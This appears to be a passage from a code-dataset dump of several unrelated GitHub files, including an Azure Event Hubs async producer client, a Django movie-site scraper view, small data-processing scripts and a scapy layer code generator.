EventData\n\nif TYPE_CHECKING:\n from azure.core.credentials_async import AsyncTokenCredential\n from uamqp.constants import TransportType # pylint: disable=ungrouped-imports\n\nSendEventTypes = List[Union[EventData, AmqpAnnotatedMessage]]\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass EventHubProducerClient(ClientBaseAsync):\n \"\"\"\n The EventHubProducerClient class defines a high level interface for\n sending events to the Azure Event Hubs service.\n\n :param str fully_qualified_namespace: The fully qualified host name for the Event Hubs namespace.\n This is likely to be similar to .servicebus.windows.net\n :param str eventhub_name: The path of the specific Event Hub to connect the client to.\n :param credential: The credential object used for authentication which\n implements a particular interface for getting tokens. It accepts\n :class:`EventHubSharedKeyCredential`, or credential objects\n generated by the azure-identity library and objects that implement the `get_token(self, *scopes)` method.\n :type credential: ~azure.core.credentials_async.AsyncTokenCredential or ~azure.core.credentials.AzureSasCredential\n or ~azure.core.credentials.AzureNamedKeyCredential\n :keyword bool logging_enable: Whether to output network trace logs to the logger. Default is `False`.\n :keyword float auth_timeout: The time in seconds to wait for a token to be authorized by the service.\n The default value is 60 seconds. If set to 0, no timeout will be enforced from the client.\n :keyword str user_agent: If specified, this will be added in front of the user agent string.\n :keyword int retry_total: The total number of attempts to redo a failed operation when an error occurs. Default\n value is 3.\n :keyword float idle_timeout: Timeout, in seconds, after which this client will close the underlying connection\n if there is no activity. By default the value is None, meaning that the client will not shutdown due to inactivity\n unless initiated by the service.\n :keyword transport_type: The type of transport protocol that will be used for communicating with\n the Event Hubs service. Default is `TransportType.Amqp` in which case port 5671 is used.\n If the port 5671 is unavailable/blocked in the network environment, `TransportType.AmqpOverWebsocket` could\n be used instead which uses port 443 for communication.\n :paramtype transport_type: ~azure.eventhub.TransportType\n :keyword dict http_proxy: HTTP proxy settings. This must be a dictionary with the following\n keys: `'proxy_hostname'` (str value) and `'proxy_port'` (int value).\n Additionally the following keys may also be present: `'username', 'password'`.\n :keyword str custom_endpoint_address: The custom endpoint address to use for establishing a connection to\n the Event Hubs service, allowing network requests to be routed through any application gateways or\n other paths needed for the host environment. Default is None.\n The format would be like \"sb://:\".\n If port is not specified in the `custom_endpoint_address`, by default port 443 will be used.\n :keyword str connection_verify: Path to the custom CA_BUNDLE file of the SSL certificate which is used to\n authenticate the identity of the connection endpoint.\n Default is None in which case `certifi.where()` will be used.\n\n .. admonition:: Example:\n\n .. literalinclude:: ../samples/async_samples/sample_code_eventhub_async.py\n :start-after: [START create_eventhub_producer_client_async]\n :end-before: [END create_eventhub_producer_client_async]\n :language: python\n :dedent: 4\n :caption: Create a new instance of the EventHubProducerClient.\n \"\"\"\n\n def __init__(\n self,\n fully_qualified_namespace: str,\n eventhub_name: str,\n credential: Union[\"AsyncTokenCredential\", AzureSasCredential, AzureNamedKeyCredential],\n **kwargs\n ) -> None:\n super(EventHubProducerClient, self).__init__(\n fully_qualified_namespace=fully_qualified_namespace,\n eventhub_name=eventhub_name,\n credential=credential,\n network_tracing=kwargs.pop(\"logging_enable\", False),\n **kwargs\n )\n self._producers = {\n ALL_PARTITIONS: self._create_producer()\n } # type: Dict[str, Optional[EventHubProducer]]\n self._lock = asyncio.Lock(\n **self._internal_kwargs\n ) # sync the creation of self._producers\n self._max_message_size_on_link = 0\n self._partition_ids = None # Optional[List[str]]\n\n async def __aenter__(self):\n return self\n\n async def __aexit__(self, *args):\n await self.close()\n\n async def _get_partitions(self) -> None:\n if not self._partition_ids:\n self._partition_ids = await self.get_partition_ids() # type: ignore\n for p_id in cast(List[str], self._partition_ids):\n self._producers[p_id] = None\n\n async def _get_max_mesage_size(self) -> None:\n # pylint: disable=protected-access,line-too-long\n async with self._lock:\n if not self._max_message_size_on_link:\n await cast(\n EventHubProducer, self._producers[ALL_PARTITIONS]\n )._open_with_retry()\n self._max_message_size_on_link = (\n cast( # type: ignore\n EventHubProducer, self._producers[ALL_PARTITIONS]\n )._handler.message_handler._link.peer_max_message_size\n or constants.MAX_MESSAGE_LENGTH_BYTES\n )\n\n async def _start_producer(\n self, partition_id: str, send_timeout: Optional[Union[int, float]]\n ) -> None:\n async with self._lock:\n await self._get_partitions()\n if (\n partition_id not in cast(List[str], self._partition_ids)\n and partition_id != ALL_PARTITIONS\n ):\n raise ConnectError(\n \"Invalid partition {} for the event hub {}\".format(\n partition_id, self.eventhub_name\n )\n )\n\n if (\n not self._producers[partition_id]\n or cast(EventHubProducer, self._producers[partition_id]).closed\n ):\n self._producers[partition_id] = self._create_producer(\n partition_id=partition_id, send_timeout=send_timeout\n )\n\n def _create_producer(\n self,\n *,\n partition_id: Optional[str] = None,\n send_timeout: Optional[Union[int, float]] = None\n ) -> EventHubProducer:\n target = \"amqps://{}{}\".format(self._address.hostname, self._address.path)\n send_timeout = (\n self._config.send_timeout if send_timeout is None else send_timeout\n )\n\n handler = EventHubProducer(\n self,\n target,\n partition=partition_id,\n send_timeout=send_timeout,\n idle_timeout=self._idle_timeout,\n **self._internal_kwargs\n )\n return handler\n\n @classmethod\n def from_connection_string(\n cls,\n conn_str: str,\n *,\n eventhub_name: Optional[str] = None,\n logging_enable: bool = False,\n http_proxy: Optional[Dict[str, Union[str, int]]] = None,\n auth_timeout: float = 60,\n user_agent: Optional[str] = None,\n retry_total: int = 3,\n transport_type: Optional[\"TransportType\"] = None,\n **kwargs: Any\n ) -> \"EventHubProducerClient\":\n \"\"\"Create an EventHubProducerClient from a connection string.\n\n :param str conn_str: The connection string of an Event Hub.\n :keyword str eventhub_name: The path of the specific Event Hub to connect the client to.\n :keyword bool logging_enable: Whether to output network trace logs to the logger. Default is `False`.\n :keyword dict http_proxy: HTTP proxy settings. This must be a dictionary with the following\n keys: `'proxy_hostname'` (str value) and `'proxy_port'` (int value).\n Additionally the following keys may also be present: `'username', 'password'`.\n :keyword float auth_timeout: The time in seconds to wait for a token to be authorized by the service.\n The default value is 60 seconds. If set to 0, no timeout will be enforced from the client.\n :keyword str user_agent: If specified, this will be added in front of the user agent string.\n :keyword int retry_total: The total number of attempts to redo a failed operation when an error occurs.\n Default value is 3.\n :keyword float idle_timeout: Timeout, in seconds, after which this client will close the underlying connection\n if there is no activity. By default the value is None, meaning that the client will not shutdown due to\n inactivity unless initiated by the service.\n :keyword transport_type: The type of transport protocol that will be used for communicating with\n the Event Hubs service. Default is `TransportType.Amqp` in which case port 5671 is used.\n If the port 5671 is unavailable/blocked in the network environment, `TransportType.AmqpOverWebsocket` could\n be used instead which uses port 443 for communication.\n :paramtype transport_type: ~azure.eventhub.TransportType\n :keyword str custom_endpoint_address: The custom endpoint address to use for establishing a connection to\n the Event Hubs service, allowing network requests to be routed through any application gateways or\n other paths needed for the host environment. Default is None.\n The format would be like \"sb://:\".\n If port is not specified in the `custom_endpoint_address`, by default port 443 will be used.\n :keyword str connection_verify: Path to the custom CA_BUNDLE file of the SSL certificate which is used to\n authenticate the identity of the connection endpoint.\n Default is None in which case `certifi.where()` will be used.\n :rtype: ~azure.eventhub.aio.EventHubProducerClient\n\n .. admonition:: Example:\n\n .. literalinclude:: ../samples/async_samples/sample_code_eventhub_async.py\n :start-after: [START create_eventhub_producer_client_from_conn_str_async]\n :end-before: [END create_eventhub_producer_client_from_conn_str_async]\n :language: python\n :dedent: 4\n :caption: Create a new instance of the EventHubProducerClient from connection string.\n \"\"\"\n constructor_args = cls._from_connection_string(\n conn_str,\n eventhub_name=eventhub_name,\n logging_enable=logging_enable,\n http_proxy=http_proxy,\n auth_timeout=auth_timeout,\n user_agent=user_agent,\n retry_total=retry_total,\n transport_type=transport_type,\n **kwargs\n )\n return cls(**constructor_args)\n\n async def send_batch(\n self,\n event_data_batch: Union[EventDataBatch, SendEventTypes],\n *,\n timeout: Optional[Union[int, float]] = None,\n **kwargs\n ) -> None:\n \"\"\"Sends event data and blocks until acknowledgement is received or operation times out.\n\n If you're sending a finite list of `EventData` or `AmqpAnnotatedMessage` and you know it's within the event hub\n frame size limit, you can send them with a `send_batch` call. Otherwise, use :meth:`create_batch`\n to create `EventDataBatch` and add either `EventData` or `AmqpAnnotatedMessage` into the batch one by one\n until the size limit, and then call this method to send out the batch.\n\n :param event_data_batch: The `EventDataBatch` object to be sent or a list of `EventData` to be sent\n in a batch. All `EventData` in the list or `EventDataBatch` will land on the same partition.\n :type event_data_batch: Union[~azure.eventhub.EventDataBatch, List[Union[~azure.eventhub.EventData,\n ~azure.eventhub.amqp.AmqpAnnotatedMessage]]\n :keyword float timeout: The maximum wait time to send the event data.\n If not specified, the default wait time specified when the producer was created will be used.\n :keyword str partition_id: The specific partition ID to send to. Default is None, in which case the service\n will assign to all partitions using round-robin.\n A `TypeError` will be raised if partition_id is specified and event_data_batch is an `EventDataBatch` because\n `EventDataBatch` itself has partition_id.\n :keyword str partition_key: With the given partition_key, event data will be sent to\n a particular partition of the Event Hub decided by the service.\n A `TypeError` will be raised if partition_key is specified and event_data_batch is an `EventDataBatch` because\n `EventDataBatch` itself has partition_key.\n If both partition_id and partition_key are provided, the partition_id will take precedence.\n **WARNING: Setting partition_key of non-string value on the events to be sent is discouraged\n as the partition_key will be ignored by the Event Hub service and events will be assigned\n to all partitions using round-robin. Furthermore, there are SDKs for consuming events which expect\n partition_key to only be string type, they might fail to parse the non-string value.**\n :rtype: None\n :raises: :class:`AuthenticationError`\n :class:`ConnectError`\n :class:`ConnectionLostError`\n :class:`EventDataError`\n :class:`EventDataSendError`\n :class:`EventHubError`\n :class:`ValueError`\n :class:`TypeError`\n\n .. admonition:: Example:\n\n .. literalinclude:: ../samples/async_samples/sample_code_eventhub_async.py\n :start-after: [START eventhub_producer_client_send_async]\n :end-before: [END eventhub_producer_client_send_async]\n :language: python\n :dedent: 4\n :caption: Asynchronously sends event data\n\n \"\"\"\n partition_id = kwargs.get(\"partition_id\")\n partition_key = kwargs.get(\"partition_key\")\n\n if isinstance(event_data_batch, EventDataBatch):\n if partition_id or partition_key:\n raise TypeError(\"partition_id and partition_key should be None when sending an EventDataBatch \"\n \"because type EventDataBatch itself may have partition_id or partition_key\")\n to_send_batch = event_data_batch\n else:\n to_send_batch = await self.create_batch(partition_id=partition_id, partition_key=partition_key)\n to_send_batch._load_events(event_data_batch) # pylint:disable=protected-access\n\n if len(to_send_batch) == 0:\n return\n\n partition_id = (\n to_send_batch._partition_id or ALL_PARTITIONS # pylint:disable=protected-access\n )\n try:\n await cast(EventHubProducer, self._producers[partition_id]).send(\n to_send_batch, timeout=timeout\n )\n except (KeyError, AttributeError, EventHubError):\n await self._start_producer(partition_id, timeout)\n await cast(EventHubProducer, self._producers[partition_id]).send(\n to_send_batch, timeout=timeout\n )\n\n async def create_batch(\n self,\n *,\n partition_id: Optional[str] = None,\n partition_key: Optional[str] = None,\n max_size_in_bytes: Optional[int] = None\n ) -> EventDataBatch:\n \"\"\"Create an EventDataBatch object with the max size of all content being constrained by max_size_in_bytes.\n\n The max_size_in_bytes should be no greater than the max allowed message size defined by the service.\n\n :param str partition_id: The specific partition ID to send to. Default is None, in which case the service\n will assign to all partitions using round-robin.\n :param str partition_key: With the given partition_key, event data will be sent to\n a particular partition of the Event Hub decided by the service.\n If both partition_id and partition_key are provided, the partition_id will take precedence.\n **WARNING: Setting partition_key of non-string value on the events to be sent is discouraged\n as the partition_key will be ignored by the Event Hub service and events will be assigned\n to all partitions using round-robin. Furthermore, there are SDKs for consuming events which expect\n partition_key to only be string type, they might fail to parse the non-string value.**\n :param int max_size_in_bytes: The maximum size of bytes data that an EventDataBatch object can hold. By\n default, the value is determined by your Event Hubs tier.\n :rtype: ~azure.eventhub.EventDataBatch\n\n .. admonition:: Example:\n\n .. literalinclude:: ../samples/async_samples/sample_code_eventhub_async.py\n :start-after: [START eventhub_producer_client_create_batch_async]\n :end-before: [END eventhub_producer_client_create_batch_async]\n :language: python\n :dedent: 4\n :caption: Create EventDataBatch object within limited size\n\n \"\"\"\n if not self._max_message_size_on_link:\n await self._get_max_mesage_size()\n\n if max_size_in_bytes and max_size_in_bytes > self._max_message_size_on_link:\n raise ValueError(\n \"Max message size: {} is too large, acceptable max batch size is: {} bytes.\".format(\n max_size_in_bytes, self._max_message_size_on_link\n )\n )\n\n event_data_batch = EventDataBatch(\n max_size_in_bytes=(max_size_in_bytes or self._max_message_size_on_link),\n partition_id=partition_id,\n partition_key=partition_key,\n )\n\n return event_data_batch\n\n async def get_eventhub_properties(self) -> Dict[str, Any]:\n \"\"\"Get properties of the Event Hub.\n\n Keys in the returned dictionary include:\n\n - `eventhub_name` (str)\n - `created_at` (UTC datetime.datetime)\n - `partition_ids` (list[str])\n\n :rtype: dict\n :raises: :class:`EventHubError`\n \"\"\"\n return await super(\n EventHubProducerClient, self\n )._get_eventhub_properties_async()\n\n async def get_partition_ids(self) -> List[str]:\n \"\"\"Get partition IDs of the Event Hub.\n\n :rtype: list[str]\n :raises: :class:`EventHubError`\n \"\"\"\n return await super(EventHubProducerClient, self)._get_partition_ids_async()\n\n async def get_partition_properties(self, partition_id: str) -> Dict[str, Any]:\n \"\"\"Get properties of the specified partition.\n\n Keys in the properties dictionary include:\n\n - `eventhub_name` (str)\n - `id` (str)\n - `beginning_sequence_number` (int)\n - `last_enqueued_sequence_number` (int)\n - `last_enqueued_offset` (str)\n - `last_enqueued_time_utc` (UTC datetime.datetime)\n - `is_empty` (bool)\n\n :param partition_id: The target partition ID.\n :type partition_id: str\n :rtype: dict\n :raises: :class:`EventHubError`\n \"\"\"\n return await super(\n EventHubProducerClient, self\n )._get_partition_properties_async(partition_id)\n\n async def close(self) -> None:\n \"\"\"Close the Producer client underlying AMQP connection and links.\n\n :rtype: None\n\n .. admonition:: Example:\n\n .. literalinclude:: ../samples/async_samples/sample_code_eventhub_async.py\n :start-after: [START eventhub_producer_client_close_async]\n :end-before: [END eventhub_producer_client_close_async]\n :language: python\n :dedent: 4\n :caption: Close down the handler.\n\n \"\"\"\n async with self._lock:\n for producer in self._producers.values():\n if producer:\n await producer.close()\n await super(EventHubProducerClient, self)._close_async()\n","repo_name":"mirespace/python-azure","sub_path":"sdk/eventhub/azure-eventhub/azure/eventhub/aio/_producer_client_async.py","file_name":"_producer_client_async.py","file_ext":"py","file_size_in_byte":21418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42300215790","text":"from ..common import api_success, api_db_error\n\n\ndef update_ccf_percentage(db, public_id, uid, body):\n new_ccf_percentage = body[\"ccf_percentage\"]\n res_private_ref = db.collection(u'restaurants').document(public_id).collection(u'private').document(uid)\n\n try:\n res_private_ref.update({u'credit_card_percentage': new_ccf_percentage})\n except Exception as e:\n return api_db_error(e)\n\n return api_success()\n\n\ndef update_ccf_constant(db, public_id, uid, body):\n new_ccf_constant = body[\"ccf_constant\"]\n res_private_ref = db.collection(u'restaurants').document(public_id).collection(u'private').document(uid)\n\n try:\n res_private_ref.update({u'credit_card_constant': new_ccf_constant})\n except Exception as e:\n return api_db_error(e)\n\n return api_success()\n","repo_name":"dhvanipa/Trofi-Dashboard","sub_path":"gentelella/app/api/other/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22495857357","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom movies.models import Movie, Cast\nfrom actors.models import Actor\n\ndef main(request):\n return redirect('movies:list')\n\ndef not_found(request,nonexist):\n return render(request, '404.html')\n\ndef about(request):\n return render(request, 'about.html')\n\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import user_passes_test\nimport string\nfrom bs4 import BeautifulSoup # need to pip install beautifulsoup4\nimport os\nfrom actors.models import Actor\nfrom movies.models import Movie, Cast\nimport httpx\nimport urllib.request\n\n'''the following function operates the scraper on https://www.themoviedb.org/movie. \nit collects all the data that is presented in this site: movie data and actors data. \nit updates the database only if an entry does not already exist for the Movie or Actor\nfunction access reserved for superusers only'''\n\n\n@user_passes_test(lambda u: u.is_superuser)\ndef scraper(request):\n print('---DEBUG scraper starting')\n actors_list = []\n posters_dir = str(os.getcwd()) + ('\\media\\posters')\n\n actors_dir = str(os.getcwd()) + (r'\\media\\actors')\n\n for k in range(1,6):\n\n #fake browser headers so the scraper won't get blocked\n HEADERS = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Connection\": \"keep-alive\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"Sec-Fetch-Dest\": \"document\",\n \"Sec-Fetch-Mode\": \"navigate\",\n \"Sec-Fetch-Site\": \"none\",\n \"Sec-Fetch-User\": \"?1\",\n \"Cache-Control\": \"max-age=0\",\n }\n\n # ---------------------------------------------------------------------------------------------------------------\n # MOVIES TABLE go over the movie elements one by one and get all the required data\n URL = f\"https://www.themoviedb.org/movie?page={k}\"\n page =httpx.get(URL, headers=HEADERS,follow_redirects=True)\n\n soup = BeautifulSoup(page.content, \"html.parser\") # soup type: \n # print(f'--DEBUG main soup: {soup}')\n results_main = soup.find(\"section\", id='media_results') # results type: \n movies_elements = results_main.find_all(\"div\",class_='card style_1') # movies elements type is \n\n for i, movie_element in enumerate(movies_elements): # take one movie element\n print(f'---------------------------------------------------------------------------------------------------\\nMovie {i} in page {k}')\n movie_title = movie_element.find_all('h2') # get the movie title which contains name and movie page path\n for data in movie_title: # extract data from the title\n movie_name = data.find('a').text.strip()\n movie_page_path = data.find('a')['href']\n movie_rating_percent = (movie_element.find('div', class_='outer_ring').find_all('div')[0]['data-percent'])\n movie_rating = float(movie_rating_percent) / 20\n # print(f'--DEBUG movie rating: {movie_rating}')\n\n poster_name = movie_name.replace(\" \",\"_\").replace(\"/\",\"\")\n\n print(f'--DEBUG movie {movie_name}')\n\n try:\n movie_exists=Movie.objects.get(name=movie_name)\n except:\n print(f'-- DEBUG movie {movie_exists.name} isnt in DB')\n proceed=1\n else:\n print(f'-- DEBUG movie {movie_exists.name} already exists')\n proceed=0\n\n if proceed==0:\n print(f'--DEBUG moving on to the next movie')\n continue #go to the next i in loop\n else:\n print(f'--DEBUG continue with the code')\n\n\n\n #download poster\n # '''\n movie_poster_path = movie_element.find('img', class_='poster')['src'] # get the source url of the poster\n print(f'--DEBUG movie poster path: {movie_poster_path}')\n movie_poster_url = \"https://www.themoviedb.org/\" + movie_poster_path # go to the poster url to download it\n\n f = open(f'{posters_dir}\\{poster_name}.jpeg', 'wb')\n f.write(urllib.request.urlopen(movie_poster_url).read())\n f.close()\n # '''\n\n #go to the movie page and get additional data from there\n URL = \"https://www.themoviedb.org\" + movie_page_path\n # print(f'--DEBUG movie page url {URL}')\n page = httpx.get(URL, headers=HEADERS, follow_redirects=True)\n # print(f'--DEBUG movie page {page}')\n\n movie_page_soup = BeautifulSoup(page.content, \"html.parser\") # sub_soup type: \n # print(f'--DEBUG movie page soup {movie_page_soup}')\n\n #going through
for relevant data\n results_mpage_data = movie_page_soup.find(\"section\", class_='header poster') # results type: \n # print(f'--DEBUG movie page data {results_mpage_data}')\n\n try:\n release = results_mpage_data.find('span', class_=\"release\").text.strip()[:10].replace(\"-\",\"/\")\n except:\n movie_release = \"\"\n else:\n movie_release = f'{release[6:]}-{release[0:2]}-{release[3:5]}'\n\n\n movie_genres = \"\"\n try:\n movie_genres_soup = results_mpage_data.find('span', class_=\"genres\")\n # print(f'--DEBUG genre soup {movie_genres_soup}')\n movie_genres_all = movie_genres_soup.find_all('a')\n except:\n movie_genres=\"\"\n else:\n # print(f'--DEBUG genre object {movie_genres_all}')\n for genre in movie_genres_all:\n movie_genres = movie_genres + genre.text.strip() + \", \"\n print(f'--DEBUG movie genres string: {movie_genres}')\n\n try:\n movie_runtime = results_mpage_data.find('span', class_=\"runtime\").text.strip()\n except:\n movie_runtime=\"\"\n\n try:\n movie_overview = results_mpage_data.find('div', class_='overview').text.strip()\n except:\n movie_overview = \"\"\n\n\n slug = movie_name.lower()\n movie_slug = ''.join([i for i in slug if i in string.ascii_lowercase or i.isnumeric() or i == \" \"]).replace(\" \", \"-\")\n\n try:\n people = results_mpage_data.find_all('li', class_='profile')\n except:\n movie_director = 'unknown'\n else:\n for person in people:\n person_name = person.find('a').text.strip()\n person_role = person.find('p', class_='character').text.strip()\n if 'Director' in person_role:\n movie_director = person_name\n\n try:\n movie = Movie.objects.create(poster = f'posters/{poster_name}.jpeg',\n name = movie_name,\n slug = movie_slug,\n overview = movie_overview,\n director = movie_director,\n release = movie_release,\n runtime = movie_runtime,\n genre = movie_genres,\n rating_avg = movie_rating,\n rating_num = 0,\n author = request.user\n )\n except Exception:\n continue\n else:\n movie.save()\n print(f'----DEBUG movie {movie_name} object created')\n\n # ---------------------------------------------------------------------------------------------------------------\n # CAST TABLE go over the movie elements one by one and get all the required data\n\n #going through
for actors data\n results_movie_page_actors = movie_page_soup.find(\"div\", id='cast_scroller') # results type: \n try:\n actors_elements = results_movie_page_actors.find_all('li', class_='card')\n except:\n pass\n else:\n #for each actor get actor name and character for Cast table\n for j, element in enumerate(actors_elements):\n actor_name = element.find_all('a')[1].text\n actor_character = element.find('p', class_='character').text\n # cast = (actor_name,movie_name,actor_character)\n\n try:\n actors_elements=Actor.objects.get(actor_name=actor_name)\n except Exception:\n print(f'--DEBUG actor {actor_name} not in DB')\n proceed=1\n else:\n proceed=0\n print(f'--DEBUG actor {actor_name} already in DB')\n\n if proceed==0:\n print(f'--DEBUG continue to next actor')\n continue\n else:\n\n\n\n\n # ---------------------------------------------------------------------------------------------------------------\n # ACTOR TABLE. only if the actor in Cast doesn't appear in Actors, get their data\n actor_page_path = element.find_all('a')[0]['href']\n #go to actor page to fill up the actor details only if the actor doesn't already exists\n\n #todo all the actors from the actor table and check in the new actor exists. this is instead of actors_list\n\n\n if actor_name not in actors_list:\n\n URL = \"https://www.themoviedb.org\" + actor_page_path\n page = httpx.get(URL, headers=HEADERS, follow_redirects=True)\n actor_page_soup = BeautifulSoup(page.content, \"html.parser\") # sub_soup type: \n\n results_actor_page = actor_page_soup.find('div', class_='content_wrapper')\n actor_details = results_actor_page.find('div', class_='column').find_all('p')\n actor_gender = actor_details[2].text[7:]\n actor_birthday = actor_details[3].text[9:].strip()[:10]\n actor_place_of_birth = actor_details[4].text[15:].strip()\n slug = actor_name.lower()\n actor_slug = ''.join([i for i in slug if i in string.ascii_lowercase or i.isnumeric() or i == \" \"]).replace(\" \", \"-\")\n # print(f'genre: {actor_genre}\\nbirthday: {actor_birthday}\\nplace: {actor_place_of_birth}')\n\n #get the image path, and download\n # '''\n portrait_name = actor_name.replace(\" \", \"_\")\n try:\n actor_image_path = results_actor_page.find('div', class_='image_content').find('img')['data-src']\n except Exception:\n continue\n else:\n actor_image_url = \"https://www.themoviedb.org/\" + actor_image_path # go to the image url to download it\n f = open(f'{actors_dir}/{portrait_name}.jpeg', 'wb')\n f.write(urllib.request.urlopen(actor_image_url).read())\n f.close()\n # '''\n\n #write actor to Actors and update actors_list\n try:\n actor = Actor.objects.create(actor_name = actor_name,\n actor_image = f'actors/{portrait_name}.jpeg',\n actor_gender = actor_gender,\n actor_birthday = actor_birthday,\n actor_place_of_birth = actor_place_of_birth,\n slug = actor_slug\n )\n except:\n continue\n else:\n actor.save()\n print(f'----DEBUG actor {actor_name} object created')\n actors_list.append(actor_name)\n\n movie = Movie.objects.get(name = movie_name)\n actor = Actor.objects.get(actor_name = actor_name)\n\n cast = Cast.objects.create(actor_name_id = actor.id,\n movie_name_id = movie.id,\n role_in_movie = actor_character)\n cast.save()\n print(f'----DEBUG cast for {actor_name} in {movie_name} object created')\n\n\n return HttpResponse('

Scraping complete

')\n\n","repo_name":"MichalMoses/movies-site","sub_path":"movies_site/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14045426708","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 20 09:52:13 2021\n\n@author: Manaswini Raghavan\n\"\"\"\n\n\nimport pandas as pd\n\n\ndef read_in_chunks(file_object, chunk_size=1024):\n \"\"\"Lazy function (generator) to read a file piece by piece.\n Default chunk size: 1k.\"\"\"\n while True:\n data = file_object.read(chunk_size)\n if not data:\n break\n yield data\n\nchar_list = [chr(i) for i in range(97,97+26)]\n\ndi = dict()\nwith open('word.txt') as f:\n for piece in read_in_chunks(f):\n w = piece.lower()\n w_l = w.split()\n for i in char_list:\n if i in di.keys() :\n di[i].extend(list(filter(lambda x: x[0] == i, w_l)))\n else:\n di[i]=list(filter(lambda x: True if x[0] == i else False, w_l))\n \n\n\noriginal= pd.DataFrame()\n\nfor i in char_list:\n additional = pd.DataFrame({i:di[i]})\n original = pd.concat([original, additional], axis=1) \n\n\noriginal.to_excel('word.xlsx')\n\n\nfor i in char_list:\n di[i] = [len(di[i])]\n \ndf = pd.DataFrame(di)\n\ndf.to_excel('word1.xlsx')\n","repo_name":"manas109/Py_ler","sub_path":"program.02.py","file_name":"program.02.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22289354121","text":"from functools import reduce\n\nclass CodeGen:\n def gen_class_code(self, layer_name, fields):\n field_names = self.fields_to_field_names(fields)\n codes = [\n self.gen_class_base_code(layer_name),\n self.gen_fields_code(field_names),\n self.gen_init_code(),\n self.gen_all_gens_code(fields)\n ]\n return self.combine_codes(codes, newline=False)\n\n def gen_class_base_code(self, layer_name):\n class_base_code = f\"\"\"import random\n\nfrom layers.layer import Layer\nfrom scapy.all import {layer_name}\n\nclass {layer_name}Layer(Layer):\n name = \"{layer_name}\"\n protocol = {layer_name}\n\n\"\"\"\n return class_base_code\n \n def gen_fields_code(self, field_names):\n fields_lines = [f\" '{field_name}',\" for field_name in field_names]\n fields_lines_combined = self.combine_codes(fields_lines, newline=True)\n fields_code = f\"\"\" _fields = [\n{fields_lines_combined}\n ]\n fields = _fields\n\"\"\"\n return fields_code\n\n def gen_init_code(self):\n init_code = f\"\"\"\n def __init__(self, layer):\n Layer.__init__(self, layer)\n # Special methods to help access fields that cannot be accessed normally\n # self.getters = {{}} # TODO\n # self.setters = {{}}\n # Special methods to help access fields that cannot be generated normally\n # self.generators = {{}} # TODO\n\"\"\"\n return init_code\n\n def gen_gen_code(self, field_name, field_len):\n max_val = 2 ** field_len - 1\n gen_code = f\"\"\"\n def gen_{field_name}(self, field):\n return random.randint(1, {max_val})\n\"\"\"\n return gen_code\n\n def gen_all_gens_code(self, fields):\n gen_codes = [self.gen_gen_code(field_name, field_len) for field_name, field_len in fields]\n return self.combine_codes(gen_codes, newline=False)\n\n def fields_to_field_names(self, fields):\n return [field[0] for field in fields]\n\n def combine_codes(self, codes, newline=False):\n newline_char = '\\n' if newline else ''\n return reduce(lambda x, y: x + newline_char + y, codes)\n","repo_name":"SumitNawathe/Geneva_Tamper_Primitives","sub_path":"codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29901475770","text":"from PyDbLite import Base\nimport datetime\ntoday = datetime.date.today()\n#impactDB = Base(\"F://alfStock//\"+str(today)+'.yv')\n#impactDB.open()\n#sammi =([r for r in impactDB if r['UpOrDown']==\"U\"])\n#print len(sammi)\n#for d in sammi:\n# print d['sid']\n\n\n#AintB update Current length + 1\n#historyDB = Base(\"F://alfStock//\"+\"alf123\"+'.history')\n\n#historyDB.create('sid','Edate', 'lenth')\n#historyDB.open()\n\n#A-B History: sid date length\n#currentDB = Base(\"F://alfStock//\"+\"alf123\"+'.current')\n\n#currentDB.create('sid','Edate', 'lenth')\n#currentDB.open()\n\n#B-A insert Current: sid date length\n\ndef resetHisDB():\n historyDB = Base(\"F://alfStock//\"+\"alf123\"+'.history')\n historyDB.create('sid','Edate', 'length')#Edate := started day not end day\n historyDB.open()\n historyDB.commit()\n currentDB = Base(\"F://alfStock//\"+\"alf123\"+'.current')\n currentDB.create('sid','Edate', 'length')\n currentDB.open()\n currentDB.commit()\n\ndef UpStill(entry):\n record = [r for r in currentDB if r['sid'] == entry['sid']]\n if len(r)>0:\n k = record['length']\n currentDB.update(record,length=k+1)\n","repo_name":"alf123/alf123","sub_path":"src/smallfu.py","file_name":"smallfu.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4362621073","text":"# -*- coding: utf-8 -*-\nfrom numpy import nan as npNaN\nfrom pandas import concat, DataFrame, Series\nfrom pandas_ta.utils import get_drift, get_offset, verify_series, signals\n\n\ndef rsx(close, length=None, drift=None, offset=None, **kwargs):\n \"\"\"Indicator: Relative Strength Xtra (inspired by Jurik RSX)\"\"\"\n # Validate arguments\n length = int(length) if length and length > 0 else 14\n close = verify_series(close, length)\n drift = get_drift(drift)\n offset = get_offset(offset)\n\n if close is None: return\n\n # variables\n vC, v1C = 0, 0\n v4, v8, v10, v14, v18, v20 = 0, 0, 0, 0, 0, 0\n\n f0, f8, f10, f18, f20, f28, f30, f38 = 0, 0, 0, 0, 0, 0, 0, 0\n f40, f48, f50, f58, f60, f68, f70, f78 = 0, 0, 0, 0, 0, 0, 0, 0\n f80, f88, f90 = 0, 0, 0\n\n # Calculate Result\n m = close.size\n result = [npNaN for _ in range(0, length - 1)] + [0]\n for i in range(length, m):\n if f90 == 0:\n f90 = 1.0\n f0 = 